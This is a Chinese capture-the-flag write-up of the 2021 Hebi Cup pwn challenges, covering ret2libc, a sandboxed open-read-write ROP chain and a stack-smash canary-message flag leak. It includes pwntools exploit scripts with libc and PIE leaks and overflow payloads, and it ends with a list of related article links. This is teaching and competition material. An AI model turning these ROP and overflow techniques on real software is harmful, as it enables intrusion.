【pwn】2021 鹤壁杯 wp

前言

这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊!

1、ret2libc1

就是最简单的ret2libc1,好像还有后门,我给忘了

2、ret2libc3

也是基本的ret2libc3,puts.plt泄露puts.got从而泄露libc.address,system(“sh”)

要注意一下栈平衡,在rop之前加个ret

3、onecho

这题,虽然很简单,但是我太拉了,不会动调,导致rop链读不到,orw自然没办法进行。在这里特别感谢K0nashi师傅和niyah师傅帮了我动调的大忙!

开了沙箱,所以选择orw

先分析漏洞

输入name的函数中,有一个scanf的栈溢出,并且将我们输入的内容memcpy给传入的参数a1,长度为输入name-1(减去\n)

正常的思想就是通过scanf进行rop链的构造,我第一次尝试的payload = flat('flag\x00'.ljust(0x110 ,'\x00' ),write_plt ,myread, 1,puts_got,0x4)

发现不可以,直接eof了,那么肯定就是栈出了问题,我们直接用上面的错误代码进行调试

发现错误原因,我们在执行到memcpy函数的时候,会把myread这个text段的函数地址给dest,而这个地址是不可写的,所以memcpy在尝试将flag写入0x80495c6这个地址的时候就错误了

我们通过上面的调试发现,我们偏移为0x118的位置会给memcpy的第一个参数

所以我们payload的构造应该是 payload = flat( 'flag\x00'.ljust(0x110 ,'\x00' ),pop_esi_edi_ebp, bss,0x5, 0,write_plt ,myread, 1,puts_got,0x4)

调试如下

我们成功的把“flag”这4个字符写入了一个bss段的地址

接下来做的就是简单的orw了,在每一次orw的时候都需要pop_esi_edi_ebp来抬栈,让rop链可以执行

niyah师傅的exp:

def pwn():bss = 0x804C008puts_got = elf.got['puts']write_plt = elf.plt['write']myread = 0x080495C6pop_esi_edi_ebp = 0x08049811payload = flat('flag\x00'.ljust(0x110 ,'\x00' ),pop_esi_edi_ebp, bss,0x5, 0,write_plt ,myread, 1,puts_got,0x4)dbg()sla("name:",payload)pau()puts_addr = uu32(ru(b"\xf7",False)[-4:])libc.address = puts_addr - libc.sym["puts"]leak("libc_base",libc.address)open_addr = libc.sym['open']read_addr = libc.sym['read']flag_addr = bsspayload = flat('flag\x00'.ljust( 0x110,'\x00'), pop_esi_edi_ebp, 0,1, 0,open_addr ,myread ,flag_addr )dbg()sl(payload)payload = flat('flag\x00'.ljust( 0x110,'\x00'), pop_esi_edi_ebp, 0,1, 0,read_addr ,myread ,3 , flag_addr , 0x30 )sl(payload)payload = flat('flag\x00'.ljust( 0x110,'\x00'), pop_esi_edi_ebp, 0,1, 0,write_plt ,myread ,1 , flag_addr , 0x30 )sl(payload)ia()pwn()

get flag

4、easyecho

这题属于是不会看逆向了,已经猜到必然是smash的花式栈溢出了,但是由于不会逆向分析所以ji了QAQ

感谢K0nashi师傅的指导!

还是有必要说一声,smash这个方法止步于libc2.23咯

漏洞分析:

gets溢出,我们无法使用rop因为没办法逃逸出while循环,需要之后覆盖用到

第二个do中,比较两个字符串是否相等,

调用V9函数,这个V9是这样的

读取flag到一个地址上

那么我们的思路就是调用V9这个函数,首先输入backdoor执行后门函数,让flag读到bss段

之后覆盖报错为flag的地址,让报错输出flag,这个方法详情见ctf-wiki

我们开始动调,让程序执行到open,read之后,用search搜索flag位置

查看stack情况,计算我们的输入与文件名的偏移

输入padding进行覆盖

get flag

exp:

sla("Name:",b"b"*15+b"a")
ru("a")
addr = uu64(ru(" into")) - 0xcf0
leak("addr",addr)flag_addr =addr + 0x202040
leak("flag_addr",flag_addr)payload = b'a'*0x168 + p64(flag_addr)
# dbg()
sla("Input:","backdoor")
# pau()sla('Input: ',payload)
sla('Input: ','exitexit')ia()

5、supermaket

ciscn 2018 pwn原题,百度就有exp,恶心就恶心在libc是2.23-9,这玩意已经被打补丁绝版了,找了好久在ubuntu官网找到,终于算好了atoi到system的偏移

【pwn】2021 鹤壁杯 wp相关推荐

  1. [MiscCrypto]鹤壁杯部分wp

    哔哔两句:鹤壁杯打的好不好,一定程度上取决于你的搜索引擎用的好不好. 经典re选手解密码和杂项,感觉密码会rsa就掌握半壁江山了. Misc 1.pdf 这个题直接wbstego4(该软件可以吧文件隐 ...

  2. 2021 绿城杯 wp

    2021 绿城杯 wp Web ezcms ezphp Misc [warmup]⾳频隐写 Re easyre Crypto RSA1 [warmup]加密算法 Pwn null_pwn uaf Gr ...

  3. 2021陇剑杯部分wp

    2021陇剑杯 全是流量分析.麻了.只做了一部分. 参考链接 陇剑杯 个人 'WriteUp'-魔法少女雪殇 (snowywar.top) 陇剑杯Writeup(部分) - 惊觉 (leheaveng ...

  4. 2021 [线下]陇剑杯 wp

    2021 [线下]陇剑杯 wp 前言 1.1 1.2 1.3 1.4 1.5 3.1 3.3 4.1 4.2 5.1 5.2 Tip 前言 wp由EDI yanshu师傅投稿 ,感谢yanshu师傅. ...

  5. 鹤壁高中2021年高考成绩查询,2021鹤壁市地区高考成绩排名查询,鹤壁市高考各高中成绩喜报榜单...

    距离2018年高考还有不到一个月的时间了,很多人在准备最后冲刺的同时,也在关心高考成绩.2018各地区高考成绩排名查询,高考各高中成绩喜报榜单尚未公布,下面是往年各地区高考成绩排名查询,高考各高中成绩 ...

  6. 数据库2021“安恒·泰山杯”山东省网络安全大赛测试赛部分题目write up

    数据库2021"安恒·泰山杯"山东省网络安全大赛测试赛部分题目write up 2021"安恒·泰山杯"山东省网络安全大赛测试赛部分题目wp web1 admi ...

  7. 2021年“羊城杯”网络安全大赛部分Writeup

    文章目录 MISC 签到 赛博德国人 MISC520 Baby_Forenisc Crypto Bigrsa Ring Ring Ring MISC 签到 题目描述:猜数字01-30,数字序列以San ...

  8. 2021年“春秋杯”新年欢乐赛--十二宫的挑衅

    前言 没怎么打,随便玩了一下.发现有一道十二宫杀手密码比较有趣.总结一下 题目说明 标题:十二宫的挑衅 题目文件:Twelve_palaces_of_serial_killers.png(翻译:十二宫 ...

  9. 13.19亿!鹤壁智慧城市边缘计算超大单来了!

    近日,边缘计算社区从鹤壁市发改委官网了解到消息,同意建设鹤壁市5G智慧城市新基建(智慧合杆+边缘计算+应用场景)项目. 以下为鹤壁市发改委批复原文: 鹤壁市城市管理局: 你单位<关于报批鹤壁市5 ...

最新文章

  1. 用Async函数简化异步代码
  2. mysql的count函数可以加表达式嘛_power bi15——power pivot的DAX表达式
  3. android闹钟(五):实现闹钟功能
  4. 51单片机的配p10端口c语言,stc12c5a16s2的单片机的p5口做普通端口怎么定义?
  5. OS- -内存之虚拟内存
  6. MapReduce:处理数据密集型文本处理–局部聚合第二部分
  7. vue 传参 微信_vue-router 你可能忽略的知识点
  8. python避坑指南_Linux下Python3.6的安装及避坑指南
  9. 原生Java高仿抖音短视频APP双端源码
  10. MapXtreme2005开发的经典问题
  11. labview技巧——自定义 5位数码管字体 显示控件
  12. macOS 10.14安装win10教程 bootcamp篇
  13. 证明三角形中cosA+cosB+cosC=1+4sin(A/2)sin(B/2)sin(C/2)
  14. 超级电容模组电压不均衡特性分析
  15. telegram协议构架能实现朋友圈或者新浪微博功能么?
  16. 金融贷超、贷款行业防止撸贷方案分析
  17. 夫妻贷款买房需要注意什么
  18. 史上最全 2019 ICRA顶会四足机器人文献整理
  19. 地面分割:Fast Segmentation of 3D Point Clouds for Ground Vehicles
  20. [福大软工] Z班 团队作业——随堂小测(同学录) 作业成绩

热门文章

  1. ENVI气溶胶反演相关示例教材
  2. Base-N 算法加密解密实现:
  3. Citrix Receiver Desktop Lock 4.x配置手册
  4. 用 Cloudreve 快速建设基于OSS的个人云盘
  5. Web APIs:PC 端网页特效--常见网页特效案例--轮播图及节流阀思想
  6. 各领域公开数据集下载 | 资源
  7. C#练习题答案: 产品和LCMS之间的差异总和【难度:1级】--景越C#经典编程题库,1000道C#基础练习题等你来挑战
  8. 广西北海自愿连锁经营业/1040阳光工程上总之后的真实内幕
  9. 数据中台 画像标签_中台产品经理必懂(4):数据中台标签系统
  10. Class Dictionary<K,​V>